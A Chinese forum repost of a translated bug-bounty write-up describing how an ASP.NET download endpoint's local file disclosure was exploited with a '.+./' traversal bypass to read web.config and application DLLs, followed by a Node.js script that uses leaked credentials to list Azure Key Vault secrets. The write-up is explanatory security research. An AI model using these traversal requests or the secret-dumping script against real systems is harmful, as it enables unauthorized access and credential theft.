请选择 进入手机版 | 继续访问电脑版
 找回密码
 立即注册

QQ登录

只需要一步,快速开始

搜索
开启左侧

看我如何通过ASPSecrets读取获得了1.7万美金的漏洞奖励

马上注册,分享更多源码,享用更多功能,让你轻松玩转云大陆。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
ASP.net应用程序中最常见的漏洞之一就是本地文件披露漏洞(LFD),假如你之前从没接触过这种技术的话,那么利用LFD对你来说可能就没啥意义了。在这篇文章中,我将跟大家详情我如何利用LFD来渗透一个应用程序,并最终拿到了1.7万美金的漏洞奖励。
cd3500ZGC1Aga0du.jpg
识别漏洞在我近期进行的一项研究中,我找到了下面这个入口:
http://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...加载这个页面时,它会从服务器的另一个路径下载一个有用的文档。当时我不认为我可以篡改这个功能,由于它使用了一个加密参数,但我一直记得这个事情。假如我能够破解密钥(可能是AES),并设置该参数,那我就可以伪造参数并利用LFD了。
令我惊讶的是,我在该网站的另一个地方也遇到了相同节点:
http://domain.com/utility/download.aspx?f=file1234.docx然后我接收到了:
HTTP/1.1200 OKConnection:closeContent-Length:27363Ïó|uœZ^tÙ¢yǯ;­!Y,}{ûCƒ³/h>...这里提供的参数是download.aspx,但我竟然可以直接看到download.aspx文件的源地址:
GET /utility/download.aspx?f=download.aspx响应如下:
HTTP/1.1200 OKConnection:closeContent-Length:263...能够读取download.aspx,意味着我可以读取任何文件,而且网站的文件存储路径为filename.aspx.cs。但是,.aspx.cs文件时无法访问的。点击【这里】理解.aspx和.aspx.cs的区别。
绕过遍历块除此之外,我还发现我无法在结尾添加两个点号(..),否则收到的响应请求应该是“400 bad request”即请求失败。
这里我尝试了模糊测试方法来查看它会忽略或过滤的字符,我使用的请求如下:
GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx qXLMV7Z3342y42o7.jpg
这里我手动枚举了字符,直到我发现.+./utility/download.aspx可以返回download.aspx的内容。这就非常棒了,由于我可以遍历目录了。原因是什么我也不清楚,但是我在我自己的ASP.NET应用中测试了一下,结果是无效的,所以应该是这里存在有安全漏洞。
接下来,我想尝试读取一个.ashx文件,结果竟然成功了!
HTTP/1.1200 OKConnection:closeContent-Length:2398Imports SystemImports System.DataImports System.Data.SqlClientImports System.IOImports System.WebImports System.Configuration...这至少证明了,我可以直接读取一些敏感文件了。下一步,就是读取更多的源代码。
通过发送下列请求,我可以直接从源文件中导出DLL文件:
GET /utility/download.aspx?f=.+./.+./bin/redacted.dll下载该文件之后,攻击者将能够使用dnSpy来导入DLL,然后恢复应用程序的源码:
PlLmmlB2rPOGNokP.jpg
ASP.NET应用程序中还有一种web.config文件,这种文件实际上是一个设置页面,可帮助客户设置整个Web服务器中各种独立页面的变量参数。更重要的是,这种文件里存储了大量敏感信息,例如SQL服务器的凭证以及加密密钥等等。
下面给出的是一份web.config文件样本:
                  为了读取目标站点的web.config文件,我只需要发送下列请求就可:
GET /utility/download.aspx?f=.+./.+./web.config返回的响应信息如下,其中包含了很多敏感信息:
......假如使用得当,我们将能够访问Azure Key Vault实例。Azure Key Vault主要用来存储应用程序的机密信息,一般都会存储很多有价值的数据。这里给大家提供了一个Node.js脚原本访问Azure Key Vault实例并从中提取密钥信息:
var KeyVault = require('azure-keyvault');var AuthenticationContext = require('adal-node').AuthenticationContext;var clientId = "clientId";var clientSecret = "clientSecret";var vaultUri = "vaultUri";//Authenticator - retrieves the access tokenvar authenticator= function (challenge, callback) { // Create a new authentication context. var context = newAuthenticationContext(challenge.authorization); // Use the context to acquire anauthentication token. return context.acquireTokenWithClientCredentials(challenge.resource,clientId, clientSecret, function (err, tokenResponse) { if (err) throw err; // Calculate the value to be set in therequest's Authorization header and resume the call. var authorizationValue =tokenResponse.tokenType + ' ' + tokenResponse.accessToken; console.log(authorizationValue); return callback(null, authorizationValue); });};var credentials = new KeyVault.KeyVaultCredentials(authenticator);var client = new KeyVault.KeyVaultClient(credentials);client.getSecrets(vaultUri).then(function(value){ console.log(value);});响应数据如下:
{ id: 'http://redacted.vault.azure.net/secrets/ftp_credentials', attributes: { enabled: true, created: 2018-01-23T22:14:18.000Z, updated: 2018-01-23T22:14:18.000Z, recoveryLevel: 'Purgeable' }, contentType: 'secret' } ]...more secrets ...没错,就是这么简单。当我发现该问题之后,便立刻将其上报给相关厂商,并拿到了1万7千美金的漏洞奖励。
*参考来源:samcurry,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

  • 0 关注
  • 0 粉丝
  • 1 帖子
广告招商